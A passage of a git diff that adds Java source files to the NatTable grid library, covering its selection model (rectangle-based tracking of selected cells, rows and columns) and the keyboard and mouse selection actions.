net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.util.ObjectUtils; + +import org.apache.commons.lang.ArrayUtils; +import org.eclipse.swt.graphics.Rectangle; + +/** + * Tracks the selections made in the table. All selections are tracked in terms of + * Rectangles. + * + * For example if the table has 10 rows and column 2 is selected, the + * Rectangle tracked is (0, 2, 10, 1) + * + * Coordinates are in Selection Layer positions + * + * @see SelectionLayer + */ +public class SelectionModel implements ISelectionModel { + + private final List selections; + + private final ReadWriteLock selectionsLock; + + public SelectionModel() { + selections = new LinkedList(); + selectionsLock = new ReentrantReadWriteLock(); + } + + public boolean isCellPositionSelected(int columnPosition, int rowPosition) { + selectionsLock.readLock().lock(); + + try { + for (Rectangle r : selections) { + if (r.contains(columnPosition, rowPosition)) + return true; + } + } finally { + selectionsLock.readLock().unlock(); + } + + return false; + } + + public boolean isRowPositionSelected(int rowPosition) { + selectionsLock.readLock().lock(); + + try { + for (Range rowRange : getSelectedRows()) { + if (rowRange.contains(rowPosition)) { + return true; + } + } + } finally { + selectionsLock.readLock().unlock(); + } + + return false; + } + + /** + * @see #isColumnFullySelected(int, int) + */ + public boolean isRowFullySelected(int rowPosition, int rowWidth) { + selectionsLock.readLock().lock(); + + try { + // Aggregate all rectangles in the row which are in the selection model + List selectedRectanglesInRow = new ArrayList(); + + // If X is same add up the width of the selected area + for (Rectangle r : selections) { + // Row is within the bounds of the selcted rectangle + if (rowPosition >= r.y && rowPosition < r.y + r.height) { + selectedRectanglesInRow.add(new Rectangle(r.x, rowPosition, r.width, 1)); + } + } + if (selectedRectanglesInRow.isEmpty()) { + return false; + } + sortByX(selectedRectanglesInRow); + Rectangle finalRectangle = new Rectangle(selectedRectanglesInRow.get(0).x, rowPosition, 0, 0); + + // Ensure that selections in the row are contiguous and cover the entire row + for (int i = 0; i < selectedRectanglesInRow.size(); i++) { + Rectangle rectangle = selectedRectanglesInRow.get(i); + if(contains(finalRectangle, rectangle)){ + continue; + } + if (i > 0) { + Rectangle previousRect = selectedRectanglesInRow.get(i - 1); + if (rectangle.union(previousRect).width > (rectangle.width + previousRect.width)) { + // Rectangles not contiguous + return false; + } + } + // Union will resolve any overlaping area + finalRectangle = finalRectangle.union(rectangle); + } + return finalRectangle.width == rowWidth; + } finally { + selectionsLock.readLock().unlock(); + } + } + + /** + * @return TRUE if rectangle is completely contained inside containerRectangle + */ + protected boolean contains(Rectangle containerRectangle, Rectangle rectangle) { + Rectangle union = containerRectangle.union(rectangle); + return union.equals(containerRectangle); + } + + + /** + * Is a cell in this column selected ? + */ + public boolean isColumnPositionSelected(int columnPosition) { + selectionsLock.readLock().lock(); + + try { + for (int column : getSelectedColumns()) { + if (column == columnPosition) { + return true; + } + } + } finally { + selectionsLock.readLock().unlock(); + } + + return false; + } + + /** + * Are all cells in this column selected ? + * Different selection rectangles might aggregate to cover the entire column. + * We need to take into account any overlapping selections or any selection rectangles + * contained within each other. + * + * @see the related tests for a better understanding. + */ + + public boolean isColumnFullySelected(int columnPosition, int fullySelectedColumnRowCount) { + selectionsLock.readLock().lock(); + + try { + // Aggregate all rectangles in the column which are in the selection model + List selectedRectanglesInColumn = new ArrayList(); + + // If X is same add up the height of the selected area + for (Rectangle r : selections) { + // Column is within the bounds of the selcted rectangle + if (columnPosition >= r.x && columnPosition < r.x + r.width) { + selectedRectanglesInColumn.add(new Rectangle(columnPosition, r.y, 1, r.height)); + } + } + if (selectedRectanglesInColumn.isEmpty()) { + return false; + } + sortByY(selectedRectanglesInColumn); + Rectangle finalRectangle = new Rectangle(columnPosition, selectedRectanglesInColumn.get(0).y, 0, 0); + + // Ensure that selections in the column are contiguous and cover the entire column + for (int i = 0; i < selectedRectanglesInColumn.size(); i++) { + Rectangle rectangle = selectedRectanglesInColumn.get(i); + if(contains(finalRectangle, rectangle)){ + continue; + } + if (i > 0) { + Rectangle previousRect = selectedRectanglesInColumn.get(i - 1); + if (rectangle.union(previousRect).height > (rectangle.height + previousRect.height)) { + // Rectangles not contiguous + return false; + } + } + // Union will resolve any overlaping area + finalRectangle = finalRectangle.union(rectangle); + } + return finalRectangle.height == fullySelectedColumnRowCount; + } finally { + selectionsLock.readLock().unlock(); + } + } + + protected void sortByX(List selectionRectanglesInRow) { + Collections.sort(selectionRectanglesInRow, new Comparator(){ + public int compare(Rectangle rectangle1, Rectangle rectangle2) { + return new Integer(rectangle1.x).compareTo(new Integer(rectangle2.x)) ; + } + }); + } + + protected void sortByY(List selectionRectanglesInColumn) { + Collections.sort(selectionRectanglesInColumn, new Comparator(){ + public int compare(Rectangle rectangle1, Rectangle rectangle2) { + return new Integer(rectangle1.y).compareTo(new Integer(rectangle2.y)) ; + } + }); + } + + public void addSelection(int columnPosition, int rowPosition) { + addSelectionIntoList(new Rectangle(columnPosition, rowPosition, 1, 1)); + } + + public void addSelection(final Rectangle range) { + if (range != null) { + addSelectionIntoList(range); + } + + } + + private void addSelectionIntoList(Rectangle selection) { + selectionsLock.writeLock().lock(); + try { + ArrayList itemsToRemove = null; + for (Rectangle r : selections) { + if (selection.intersects(r)) { + if (r.equals(selection)) { + break; + } + + Rectangle intersection = selection.intersection(r); + if (intersection.equals(r)) { + // r is a subset of intersection + if (itemsToRemove == null) + itemsToRemove = new ArrayList(); + + itemsToRemove.add(r); + } else if (intersection.equals(selection)) { + // selection is a subset of r + break; + } + } + } + + if (itemsToRemove != null) { + selections.removeAll(itemsToRemove); + } + + selections.add(selection); + } finally { + selectionsLock.writeLock().unlock(); + } + + } + + public void clearSelection() { + selectionsLock.writeLock().lock(); + try { + selections.clear(); + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public void removeSelection(Rectangle removedSelection) { + + List removedItems = new LinkedList(); + List addedItems = new LinkedList(); + + selectionsLock.readLock().lock(); + + try { + for (Rectangle r : selections) { + if (r.intersects(removedSelection)) { + Rectangle intersection = removedSelection.intersection(r); + removedItems.add(r); + + Rectangle topSelection = getTopSelection(intersection, r); + if (topSelection != null) { + addedItems.add(topSelection); + } + + Rectangle rightSelection = getRightSelection(intersection, r); + if (rightSelection != null) + addedItems.add(rightSelection); + + Rectangle leftSelection = getLeftSelection(intersection, r); + if (leftSelection != null) + addedItems.add(leftSelection); + + Rectangle bottomSelection = getBottomSelection(intersection, r); + if (bottomSelection != null) + addedItems.add(bottomSelection); + } + } + } finally { + selectionsLock.readLock().unlock(); + } + + if (removedItems.size() > 0) { + selectionsLock.writeLock().lock(); + try { + selections.removeAll(removedItems); + } finally { + selectionsLock.writeLock().unlock(); + } + + removedItems.clear(); + } + + if (addedItems.size() > 0) { + selectionsLock.writeLock().lock(); + try { + selections.addAll(addedItems); + } finally { + selectionsLock.writeLock().unlock(); + } + + addedItems.clear(); + } + + } + + private Rectangle getLeftSelection(Rectangle intersection, Rectangle selection) { + if (intersection.x > selection.x) { + Rectangle leftSelection = new Rectangle(selection.x, selection.y, + intersection.x - selection.x, selection.height); + return leftSelection; + } + + return null; + } + + private Rectangle getRightSelection(Rectangle intersection, Rectangle selection) { + int newX = intersection.x + intersection.width; + + if (newX < selection.x + selection.width) { + Rectangle rightSelection = new Rectangle(newX, selection.y, + selection.x + selection.width - newX, selection.height); + + return rightSelection; + } + + return null; + } + + private Rectangle getTopSelection(Rectangle intersection, + Rectangle selectoin) { + if (intersection.y > selectoin.y) { + Rectangle topSelection = new Rectangle(selectoin.x, selectoin.y, + selectoin.width, intersection.y - selectoin.y); + return topSelection; + } + return null; + } + + private Rectangle getBottomSelection(Rectangle intersection, + Rectangle selection) { + int newY = intersection.y + intersection.height; + + if (newY < selection.y + selection.height) { + Rectangle bottomSelection = new Rectangle(selection.x, newY, + selection.width, selection.y + selection.height - newY); + return bottomSelection; + } + + return null; + } + + public void removeSelection(int columnPosition, int rowPosition) { + removeSelection(new Rectangle(columnPosition, rowPosition, 1, 1)); + } + + public boolean isEmpty() { + selectionsLock.readLock().lock(); + try { + return selections.isEmpty(); + } finally { + selectionsLock.readLock().unlock(); + } + } + + /** + * @return all selected rows in the model + */ + public Set getSelectedRows() { + Set selectedRowsRange = new HashSet(); + + selectionsLock.readLock().lock(); + + try { + for (Rectangle r : selections) { + selectedRowsRange.add(new Range(r.y, r.y + r.height)); + } + } finally { + selectionsLock.readLock().unlock(); + } + + ArrayList ranges = new ArrayList(selectedRowsRange); + Range.sortByStart(ranges); + List uniqueRanges = new ArrayList(); + + // Adjust for overlaps - between consecutive selections + for(int i=0; i0){ + Range previousRange = ranges.get(i-1); + Range currrentRange = ranges.get(i); + if(previousRange.overlap(currrentRange)){ + int largerRangeEnd = (previousRange.end > currrentRange.end) ? previousRange.end : currrentRange.end; + uniqueRanges.get(uniqueRanges.size()-1).end = largerRangeEnd; + ranges.get(i).end = largerRangeEnd; + }else{ + uniqueRanges.add(ranges.get(i)); + } + } else { + uniqueRanges.add(ranges.get(i)); + } + } + return new HashSet(uniqueRanges); + } + + public int getSelectedRowCount(){ + Set selectedRows = getSelectedRows(); + int count = 0; + for (Range range : selectedRows) { + count += range.end - range.start; + } + return count; + } + + public int[] getFullySelectedRows(int rowWidth) { + final Set selectedRows = getSelectedRows(); + int[] fullySelectedRows = new int[getSelectedRowCount()]; + int index = 0; + + for (Range rowRange : selectedRows) { + for (int i = rowRange.start; i < rowRange.end; i++) { + if (isRowFullySelected(i, rowWidth)) { + fullySelectedRows[index++] = i; + } + } + } + + return index > 0 ? ArrayUtils.subarray(fullySelectedRows, 0, index) : new int[0]; + } + + public int[] getSelectedColumns() { + TreeSet selectedColumns = new TreeSet(); + + selectionsLock.readLock().lock(); + + try { + for (Rectangle r : selections) { + int startColumn = r.x; + int numColumns = r.width; + + // Change from row < startRow to row < startRow+numRows + for (int column = startColumn; column < startColumn + numColumns; column++) { + selectedColumns.add(Integer.valueOf(column)); + } + } + } finally { + selectionsLock.readLock().unlock(); + } + + // Convert to array + return ObjectUtils.asIntArray(selectedColumns); + } + + /** + * Get the positions of all fully selected columns. + * @param fullySelectedColumnRowCount the number of rows in a fully selected column + * @return + */ + public int[] getFullySelectedColumns(int fullySelectedColumnRowCount) { + final int[] selectedColumns = getSelectedColumns(); + int[] columnsToHide = new int[selectedColumns.length]; + int index = 0; + for (int columnPosition : selectedColumns) { + if (isColumnFullySelected(columnPosition, fullySelectedColumnRowCount)) { + columnsToHide[index++] = columnPosition; + } + } + + return index > 0 ? ArrayUtils.subarray(columnsToHide, 0, index) : new int[0]; + } + + // Object methods + + @Override + public String toString() { + selectionsLock.readLock().lock(); + + try { + return selections.toString(); + } finally { + selectionsLock.readLock().unlock(); + } + } + + public List getSelections() { + return selections; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectionUtils.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectionUtils.java new file mode 100644 index 0000000..0c5ae12 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectionUtils.java @@ -0,0 +1,20 @@ +package net.sourceforge.nattable.selection; + +public class SelectionUtils { + + public static boolean noShiftOrControl(boolean withShiftMask, boolean withControlMask) { + return !withShiftMask && !withControlMask; + } + + public static boolean bothShiftAndControl(boolean withShiftMask, boolean withControlMask) { + return withShiftMask && withControlMask; + } + + public static boolean isControlOnly(boolean withShiftMask, boolean withControlMask) { + return !withShiftMask && withControlMask; + } + + public static boolean isShiftOnly(boolean withShiftMask, boolean withControlMask) { + return withShiftMask && !withControlMask; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/AbstractKeySelectAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/AbstractKeySelectAction.java new file mode 100644 index 0000000..4f27581 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/AbstractKeySelectAction.java @@ -0,0 +1,55 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.ui.action.IKeyAction; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.KeyEvent; + +public abstract class AbstractKeySelectAction implements IKeyAction { + + private boolean shiftMask = false; + private boolean controlMask = false; + private boolean isStateMaskSpecified = false; + private final MoveDirectionEnum direction; + + public AbstractKeySelectAction(MoveDirectionEnum direction) { + this.direction = direction; + } + + public AbstractKeySelectAction(MoveDirectionEnum direction, boolean shiftMask, boolean ctrlMask) { + this.direction = direction; + this.shiftMask = shiftMask; + this.controlMask = ctrlMask; + this.isStateMaskSpecified = true; + } + + public void run(NatTable natTable, KeyEvent event) { + if (!isStateMaskSpecified) { + this.shiftMask = (event.stateMask & SWT.SHIFT) != 0; + this.controlMask = (event.stateMask & SWT.CTRL) != 0; + } + } + + protected boolean isShiftMask() { + return shiftMask; + } + + protected boolean isControlMask() { + return controlMask; + } + + public void setShiftMask(boolean shiftMask) { + this.shiftMask = shiftMask; + } + + public void setControlMask(boolean controlMask) { + this.controlMask = controlMask; + } + + public MoveDirectionEnum getDirection() { + return direction; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/AbstractMouseSelectionAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/AbstractMouseSelectionAction.java new file mode 100644 index 0000000..db4500d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/AbstractMouseSelectionAction.java @@ -0,0 +1,42 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.ui.action.IMouseAction; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.MouseEvent; + +public class AbstractMouseSelectionAction implements IMouseAction { + + private boolean withShiftMask; + private boolean withControlMask; + private int gridColumnPosition; + private int gridRowPosition; + + public void run(NatTable natTable, MouseEvent event) { + withShiftMask = (event.stateMask & SWT.SHIFT) != 0; + withControlMask = (event.stateMask & SWT.CTRL) != 0; + + gridColumnPosition = natTable.getColumnPositionByX(event.x); + gridRowPosition = natTable.getRowPositionByY(event.y); + + natTable.forceFocus(); + } + + public boolean isWithShiftMask() { + return withShiftMask; + } + + public boolean isWithControlMask() { + return withControlMask; + } + + public int getGridColumnPosition() { + return gridColumnPosition; + } + + public int getGridRowPosition() { + return gridRowPosition; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/CellSelectionDragMode.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/CellSelectionDragMode.java new file mode 100644 index 0000000..1e89dd9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/CellSelectionDragMode.java @@ -0,0 +1,58 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.command.SelectCellCommand; +import net.sourceforge.nattable.ui.action.IDragMode; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.Point; + +/** + * Fires commands to select a range of cells when the mouse is dragged in the viewport. + */ +public class CellSelectionDragMode implements IDragMode { + + private boolean shiftMask; + private boolean controlMask; + + private Point lastDragInCellPosition = null; + + public void mouseDown(NatTable natTable, MouseEvent event) { + natTable.forceFocus(); + + shiftMask = ((event.stateMask & SWT.SHIFT) == SWT.SHIFT); + controlMask = ((event.stateMask & SWT.CONTROL) == SWT.CONTROL); + + fireSelectionCommand(natTable, natTable.getColumnPositionByX(event.x), natTable.getRowPositionByY(event.y), shiftMask, controlMask); + } + + public void mouseMove(NatTable natTable, MouseEvent event) { + if (event.x > natTable.getWidth()) { + return; + } + int selectedColumnPosition = natTable.getColumnPositionByX(event.x); + int selectedRowPosition = natTable.getRowPositionByY(event.y); + + if (selectedColumnPosition > -1 && selectedRowPosition > -1) { + Point dragInCellPosition = new Point(selectedColumnPosition, selectedRowPosition); + if(lastDragInCellPosition == null || !dragInCellPosition.equals(lastDragInCellPosition)){ + lastDragInCellPosition = dragInCellPosition; + + fireSelectionCommand(natTable, selectedColumnPosition, selectedRowPosition, true, false); + } + } + } + + public void fireSelectionCommand(NatTable natTable, int columnPosition, int rowPosition, boolean shiftMask, boolean controlMask) { + natTable.doCommand(new SelectCellCommand(natTable, columnPosition, rowPosition, shiftMask, controlMask)); + } + + public void mouseUp(NatTable natTable, MouseEvent event) { + endDrag(); + } + + private void endDrag(){ + lastDragInCellPosition = null; + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveSelectionAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveSelectionAction.java new file mode 100644 index 0000000..b1d5284 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveSelectionAction.java @@ -0,0 +1,25 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +import org.eclipse.swt.events.KeyEvent; + +public class MoveSelectionAction extends AbstractKeySelectAction { + + public MoveSelectionAction(MoveDirectionEnum direction) { + super(direction); + } + + public MoveSelectionAction(MoveDirectionEnum direction, boolean shiftMask, boolean ctrlMask) { + super(direction, shiftMask, ctrlMask); + } + + @Override + public void run(NatTable natTable, KeyEvent event) { + super.run(natTable, event); + natTable.doCommand(new MoveSelectionCommand(getDirection(), 1, isShiftMask(), isControlMask())); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveToFirstColumnAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveToFirstColumnAction.java new file mode 100644 index 0000000..039b3ce --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveToFirstColumnAction.java @@ -0,0 +1,21 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +import org.eclipse.swt.events.KeyEvent; + +public class MoveToFirstColumnAction extends AbstractKeySelectAction { + + public MoveToFirstColumnAction() { + super(MoveDirectionEnum.LEFT); + } + + public void run(NatTable natTable, KeyEvent event) { + super.run(natTable, event); + natTable.doCommand(new MoveSelectionCommand(MoveDirectionEnum.LEFT, SelectionLayer.MOVE_ALL, isShiftMask(), isControlMask())); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveToFirstRowAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveToFirstRowAction.java new file mode 100644 index 0000000..e252334 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveToFirstRowAction.java @@ -0,0 +1,22 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +import org.eclipse.swt.events.KeyEvent; + +public class MoveToFirstRowAction extends AbstractKeySelectAction { + + public MoveToFirstRowAction() { + super(MoveDirectionEnum.UP, false, false); + } + + @Override + public void run(NatTable natTable, KeyEvent event) { + super.run(natTable, event); + natTable.doCommand(new MoveSelectionCommand(MoveDirectionEnum.UP, SelectionLayer.MOVE_ALL, isShiftMask(), isControlMask())); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveToLastColumnAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveToLastColumnAction.java new file mode 100644 index 0000000..89083d6 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveToLastColumnAction.java @@ -0,0 +1,21 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +import org.eclipse.swt.events.KeyEvent; + +public class MoveToLastColumnAction extends AbstractKeySelectAction { + + public MoveToLastColumnAction() { + super(MoveDirectionEnum.RIGHT); + } + + public void run(NatTable natTable, KeyEvent event) { + super.run(natTable, event); + natTable.doCommand(new MoveSelectionCommand(MoveDirectionEnum.RIGHT, SelectionLayer.MOVE_ALL, isShiftMask(), isControlMask())); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveToLastRowAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveToLastRowAction.java new file mode 100644 index 0000000..01b3881 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/MoveToLastRowAction.java @@ -0,0 +1,22 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +import org.eclipse.swt.events.KeyEvent; + +public class MoveToLastRowAction extends AbstractKeySelectAction { + + public MoveToLastRowAction() { + super(MoveDirectionEnum.DOWN, false, false); + } + + @Override + public void run(NatTable natTable, KeyEvent event) { + super.run(natTable, event); + natTable.doCommand(new MoveSelectionCommand(MoveDirectionEnum.DOWN, SelectionLayer.MOVE_ALL, isShiftMask(), isControlMask())); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/PageDownAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/PageDownAction.java new file mode 100644 index 0000000..b2f0e06 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/PageDownAction.java @@ -0,0 +1,20 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.command.ScrollSelectionCommand; + +import org.eclipse.swt.events.KeyEvent; + +public class PageDownAction extends AbstractKeySelectAction { + + public PageDownAction() { + super(MoveDirectionEnum.DOWN); + } + + public void run(NatTable natTable, KeyEvent event) { + super.run(natTable, event); + natTable.doCommand(new ScrollSelectionCommand(MoveDirectionEnum.DOWN, isShiftMask(), isControlMask())); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/PageUpAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/PageUpAction.java new file mode 100644 index 0000000..a482a42 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/PageUpAction.java @@ -0,0 +1,20 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.command.ScrollSelectionCommand; + +import org.eclipse.swt.events.KeyEvent; + +public class PageUpAction extends AbstractKeySelectAction { + + public PageUpAction() { + super(MoveDirectionEnum.UP); + } + + public void run(NatTable natTable, KeyEvent event) { + super.run(natTable, event); + natTable.doCommand(new ScrollSelectionCommand(MoveDirectionEnum.UP, isShiftMask(), isControlMask())); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/RowSelectionDragMode.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/RowSelectionDragMode.java new file mode 100644 index 0000000..a8a67a3 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/RowSelectionDragMode.java @@ -0,0 +1,20 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.command.SelectRowsCommand; +import net.sourceforge.nattable.selection.config.RowOnlySelectionBindings; + +/** + * Selects the entire row when the mouse is dragged on the body. + * Multiple rows are selected as the user drags. + * + * @see RowOnlySelectionBindings + */ +public class RowSelectionDragMode extends CellSelectionDragMode { + + @Override + public void fireSelectionCommand(NatTable natTable, int columnPosition, int rowPosition, boolean shiftMask, boolean controlMask) { + natTable.doCommand(new SelectRowsCommand(natTable, columnPosition, rowPosition, shiftMask, controlMask)); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/SelectAllAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/SelectAllAction.java new file mode 100644 index 0000000..cc739e8 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/SelectAllAction.java @@ -0,0 +1,15 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.command.SelectAllCommand; +import net.sourceforge.nattable.ui.action.IKeyAction; + +import org.eclipse.swt.events.KeyEvent; + +public class SelectAllAction implements IKeyAction { + + public void run(NatTable natTable, KeyEvent event) { + natTable.doCommand(new SelectAllCommand()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/SelectCellAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/SelectCellAction.java new file mode 100644 index 0000000..ff57c4e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/SelectCellAction.java @@ -0,0 +1,19 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.command.SelectCellCommand; + +import org.eclipse.swt.events.MouseEvent; + +/** + * Action executed when the user selects any cell in the grid. + */ +public class SelectCellAction extends AbstractMouseSelectionAction { + + @Override + public void run(NatTable natTable, MouseEvent event) { + super.run(natTable, event); + natTable.doCommand(new SelectCellCommand(natTable, getGridColumnPosition(), getGridRowPosition(), isWithShiftMask(), isWithControlMask())); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/SelectRowAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/SelectRowAction.java new file mode 100644 index 0000000..2975999 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/SelectRowAction.java @@ -0,0 +1,19 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.command.SelectRowsCommand; + +import org.eclipse.swt.events.MouseEvent; + +/** + * Action executed when the user selects any row in the grid. + */ +public class SelectRowAction extends AbstractMouseSelectionAction { + + @Override + public void run(NatTable natTable, MouseEvent event) { + super.run(natTable, event); + natTable.doCommand(new SelectRowsCommand(natTable, getGridColumnPosition(), getGridRowPosition(), isWithShiftMask(), isWithControlMask())); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/SingleRowSelectionDragMode.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/SingleRowSelectionDragMode.java new file mode 100644 index 0000000..446cd85 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/SingleRowSelectionDragMode.java @@ -0,0 +1,37 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.command.ClearAllSelectionsCommand; +import net.sourceforge.nattable.selection.config.RowOnlySelectionBindings; +import net.sourceforge.nattable.ui.action.IDragMode; + +import org.eclipse.swt.events.MouseEvent; + +/** + * Selects the entire row when the mouse is dragged on the body. Only a + * single row is selected at a given time. This is the row the mouse is + * over. + * + * @see RowOnlySelectionBindings + */ +public class SingleRowSelectionDragMode extends RowSelectionDragMode implements IDragMode { + + @Override + public void mouseMove(NatTable natTable, MouseEvent event) { + natTable.doCommand(new ClearAllSelectionsCommand()); + + if (event.x > natTable.getWidth()) { + return; + } + int selectedColumnPosition = natTable.getColumnPositionByX(event.x); + int selectedRowPosition = natTable.getRowPositionByY(event.y); + + if (selectedColumnPosition > -1 && selectedRowPosition > -1) { + fireSelectionCommand(natTable, + selectedColumnPosition, + selectedRowPosition, + false, + false); + } + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/ToggleSelectCellAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/ToggleSelectCellAction.java new file mode 100644 index 0000000..ef677a9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/action/ToggleSelectCellAction.java @@ -0,0 +1,30 @@ +package net.sourceforge.nattable.selection.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.command.SelectCellCommand; +import net.sourceforge.nattable.ui.action.IMouseAction; + +import org.eclipse.swt.events.MouseEvent; + +/** + * NOTE - work in progress - NTBL-252 + */ +public class ToggleSelectCellAction implements IMouseAction { + + private boolean withControlMask; + private boolean withShiftMask; + + public ToggleSelectCellAction(boolean withShiftMask, boolean withControlMask) { + this.withShiftMask = withShiftMask; + this.withControlMask = withControlMask; + } + + public void run(NatTable natTable, MouseEvent event) { + new SelectCellCommand( + natTable, + natTable.getColumnPositionByX(event.x), + natTable.getRowPositionByY(event.y), + withShiftMask, + withControlMask); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/AbstractSelectionCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/AbstractSelectionCommand.java new file mode 